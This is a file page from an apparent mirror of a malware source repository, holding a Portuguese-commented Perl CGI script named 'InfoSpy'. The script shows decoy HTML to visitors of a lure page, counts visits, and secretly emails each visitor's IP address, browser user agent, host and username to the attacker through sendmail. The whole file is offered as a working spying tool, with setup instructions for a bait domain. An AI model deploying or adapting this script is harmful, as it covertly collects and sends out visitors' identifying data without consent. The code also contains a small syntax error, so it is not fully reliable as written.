mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
60 lines
2.0 KiB
Plaintext
60 lines
2.0 KiB
Plaintext
#/usr/bin/perl
|
||
################################################
|
||
# #
|
||
#**********************************************#
|
||
#* _ _ *#
|
||
#* |\_\\-\ /-//_/| *#
|
||
#* | \\-| |-// | *#
|
||
#* \ /~\\_____//~\ / *#
|
||
#* ` / \ ´ *#
|
||
#* | () () | Comando Trojan *#
|
||
#* \ ^ / -=- *#
|
||
#* ||||| www.comandotrojan.cjb.net *#
|
||
#* ||||| *#
|
||
#* *#
|
||
#**********************************************#
|
||
# #
|
||
# Vai Abaixo o CGI InfoSpy by iradium #
|
||
# #
|
||
# Por Favor Preserve estas Linhas #
|
||
# #
|
||
# chmod 755 #
|
||
# #
|
||
################################################
|
||
|
||
|
||
print "Content-type: text/html\n\n";
|
||
|
||
$c = "contador.txt";
|
||
#Nome do .txt log
|
||
$mailprog = "/usr/sbin/sendmail -t";
|
||
#Preste Atenção o real caminho do email no seu server
|
||
$emailadm = "seu_email\@seu_site.com.br;
|
||
#Deixe o \ no email
|
||
$vitima = "lamer_entrou@se_fudeu.com";
|
||
#Deixe como estar
|
||
#Lembrar de fazer um domínio tipo www.entrem.cjb.net e por index.cgi
|
||
|
||
print <<EOF;
|
||
+++ Coloque aqui o html fictício para ser exibido +++
|
||
EOF
|
||
|
||
open (N, "$c");
|
||
$n = <N>;
|
||
close (N);
|
||
|
||
$n++;
|
||
|
||
open (NE, ">$c");
|
||
print NE "$n";
|
||
close (NE);
|
||
|
||
open (MAIL, "|$mailprog") || print "Can't open $mailprog
|
||
.\n";
|
||
print MAIL "To: $vitima \n";
|
||
print MAIL "From: $emailadm\n";
|
||
print MAIL "Subject: Visita\n\n";
|
||
print MAIL "$ENV{'REMOTE_ADDR'} \n $ENV{'HTTP_USER_AGENT'} \n $ENV{'REMOTE_HOST'} \n $ENV{'REMOTE_USER'} $n\n\n ";
|
||
close MAIL;
|
||
|
||
#FIM DO ARQUIVO |